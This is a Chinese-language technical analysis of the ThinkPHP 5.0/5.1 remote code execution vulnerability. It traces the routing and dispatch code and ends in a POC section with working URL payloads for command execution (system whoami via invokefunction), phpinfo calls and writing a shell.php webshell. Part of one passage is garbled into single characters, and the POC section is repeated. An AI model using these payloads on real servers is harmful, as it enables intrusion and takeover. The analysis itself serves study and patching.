官方公告:https://blog.thinkphp.cn/869075
由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本
ThinkPHP5基础
环境搭建
官网直接下载完整包 https://www.thinkphp.cn/down/870.html
或者composer安装
composer create-project topthink/think=5.1.20 tp5.1.20
把composer.json文件中topthink/framework": "5.1.*
改为topthink/framework": "5.1.20
,再执行composer update
也可以去github下载应用项目仓和核心框架,下载对应版本,然后把核心框架解压到应用项目的thinkphp文件夹
启动应用:php -S localhost:80 -t public
目录结构
public
目录通常作为web目录访问内容,入口文件通常为index.php
project 应用部署目录
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
命名空间
ThinkPHP5
采用命名空间方式定义和自动加载类库文件,系统内置的几个根命名空间(类库包)如下:
名称 | 描述 | 类库目录 |
---|---|---|
think | 系统核心类库 | thinkphp/library/think |
traits | 系统Trait类库 | thinkphp/library/traits |
app | 应用类库 | application |
URL访问
典型(未启用路由)的URL访问规则,即PATH_INFO
:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
当服务器不支持PATH_INFO
的时候可以使用兼容模式访问:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
url默认不区分大小写,访问驼峰命名的控制器类使用下划线分割如:blog_test
ThinkPHP v5.0.x
-
影响版本:5.0.5 <= version <= 5.0.22
-
漏洞点:
\think\App::module
修复:版本更新 · top-think/framework@4cbc0b5 · GitHub
在
\think\App::module
函数中添加正则过滤
生命周期
ThinkPHP为单程序入口,通常用于定义一些常量,由此加载引导文件start.php
// 定义项目路径
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
start.php
文件为默认引导文件,会调用base.php
基础引导文件。并依次加载系统常量定义、环境变量定义文件;注册自动加载机制、注册错误和异常处理机制;加载惯例配置文件Config.php
;执行应用 App::run()->send()
,去进行应用初始化过程。
初始化过程主要为加载各类定义、配置文件以及公共、拓展函数文件,并注册应用命名空间。还有设置时区以及加载语言包。
初始化完成后,若未设置调度信息会在\think\App::routeCheck
进行URL路由检测(根据PATH_INFO)。
\think\App::routeCheck
会调用\think\Request::path
进行PATH_INFO
检测。
获取到path后进行路由检查
ThinkPHP5.0的路由有三种方式:
- 普通模式:关闭路由,完全使用默认的PATH_INFO方式URL;
'url_route_on' => false
- 混合模式:开启路由,并使用路由定义+默认PATH_INFO方式的混合;
'url_route_on' => true,'url_route_must' => false
- 强制模式:开启路由,并设置必须定义路由才能访问:
'url_route_on' => true,'url_route_must' => true
在默认混合模式下,会进行URL的路由检测,路由地址表示定义的路由表达式最终需要路由到的地址以及一些需要的额外参数,支持下面5种方式定义:
定义方式 | 定义格式 |
---|---|
方式1:路由到模块/控制器 | ‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’ |
方式2:路由到重定向地址 | ‘外部地址’(默认301重定向) 或者 [‘外部地址’,‘重定向代码’] |
方式3:路由到控制器的方法 | ‘@[模块/控制器/]操作’ |
方式4:路由到类的方法 | ‘\完整的命名空间类::静态方法’ 或者 ‘\完整的命名空间类@动态方法’ |
方式5:路由到闭包函数 | 闭包函数定义(支持参数传入) |
接着就是分发请求,以上的五种路由定义方式也对应各自的分发请求机制,默认为模块/控制器/操作。然后响应输出,控制器的所有操作方法都是return
返回而不是直接输出。
结合代码的详细流程分析可参考:Thinkphp 源码阅读
路由解析
这里主要关注兼容模式时候的解析方式。
上面提到在初始化完成后会进行URL路由检测,其中包括PATH_INFO
检测,需要获取到正常的$_SERVER['PATH_INFO']
参数后才能继续。
PATH_INFO
检测由\think\Request::pathinfo
函数完成,当GET请求中带有s参数(config中的默认值),即以兼容模式处理时,将pathinfo设置为s的参数值。
在获取到path后回到\think\App::routeCheck
进行解析,路由检测无效且在默认的混合模式下'url_route_must' => false
时,最后会由\think\Route::parseUrl
函数解析
$url
为前面的pathinfo,$depr
为默认的分割符/
,首先对$url替换分割符为|
接着由\think\Route::parseUrlPath
函数,分隔符替换后统一根据/分割,产生$path
对应$route
变量中的module、controller、action
接着解析$path
中的模块、控制器、操作
然后进行封装,并返回值到\think\App::run 的 $dispatch
变量
然后会根据这个调度信息进行应用调度,这里为路由定义方式中的module类型
漏洞点
接着上面的过程开始,这里使用的为:
localhost/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
其中controller=>\think\app
,代表library/think/App.php,后面的action实际调用\think\App::invokefunction
函数
\think\App::module
函数中拿到实例化后的对象和方法后通过\think\App::invokeMethod
函数调用反射执行类的方法
这里通过\think\App::bindParams
函数从get或post中获取到函数参数名的同名变量。如这里的invokeFunction($function, $vars = [])
函数传参即为function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
最终调用\think\App::invokefunction
函数去执行call_user_func_array
函数,同样由\think\App::bindParams
函数获取参数,poc中通过二维数组对函数传参
ThinkPHP v5.1.x
- 影响版本:5.1.0 <= version <= 5.1.30
- 漏洞点:thinkphp/library/think/route/dispatch/Module.php
- 修复:修正控制器调用 · top-think/framework@802f284 · GitHub
同样由\think\App::run
开始进入\think\App::routeCheck
\think\App::routeCheck
还是由\think\Request::path
函数进行PATH_INFO
检测,获取到path后进行路由检查。最后会返回一个Url(继承于Dispatch)对象。
接着调用\think\route\dispatch\Url::init
在其中由\think\route\dispatch\Url::parseUrl
进行解析,返回的结果对应$route
变量中的module、controller、action
漏洞点
返回Module(继承Dispatch)对象,并且调用了\think\route\dispatch\Module::init
函数,设置控制器和操作名
回到\think\App::run
将解析后的路由填充到dispatch
接着到\think\Middleware::dispatch
进行中间件调度获取$response,这里调用的是\think\Middleware::resolve
函数
该函数通过array_shift()
函数把之前\think\App
中通过$this->middleware->add
添加的那个匿名函数赋值给$middleware
,再继续将$middleware
的值通过赋值给
c
a
l
l
。以通过
‘
c
a
l
l
u
s
e
r
f
u
n
c
a
r
r
a
y
(
call。以通过`call_user_func_array(
call。以通过‘calluserfuncarray(call,…),再对
\think\App`中的匿名函数进行回调
回到think\App->closure
,调用\think\route\Dispatch::run
。这里的use作用是给该匿名函数传参
\think\route\dispatch\Module::exec
函数先实例化控制器,用于后面的闭包函数
然后直接return,接着又是中间件调度,这里的将会调用exec()函数里面的闭包函数controller,获取操作方法,以及参数。参数最终由\think\Request::filterValue
处理得到。
最后由invokeReflectMethod调用反射执行类的方法。
最终调用\think\Container::invokeFunction
去执行函数。
调用过程和5.0比相对复杂,但思路基本相同:利用/分割出能利用的controller,并输入相应的参数值。
后面就是寻找可以利用的类以及方法,比如上面获取参数的\think\Request::filterValue
函数就有个代码执行点
?s=index/\think\Request/input&filter=phpinfo&data=1
写文件:\think\template\driver\File::write
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
POC
#命令执行
s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
s=index/\think\container/invokeFunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
#写文件 tp5.0不可用
s=index/\think\Request/input&filter=phpinfo&data=1
参考
https://www.kancloud.cn/manual/thinkphp5/118011
https://y4er.com/posts/thinkphp5-rce
function=call_user_func_array&vars[0]=system&vars[1][]=whoami
s=index/\think\container/invokeFunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
#写文件 tp5.0不可用
s=index/\think\Request/input&filter=phpinfo&data=1
## 参考
> https://www.kancloud.cn/manual/thinkphp5/118011
>
> https://y4er.com/posts/thinkphp5-rce
>
> https://blog.0kami.cn/blog/2019/thinkphp-v5.x-App.php-rce/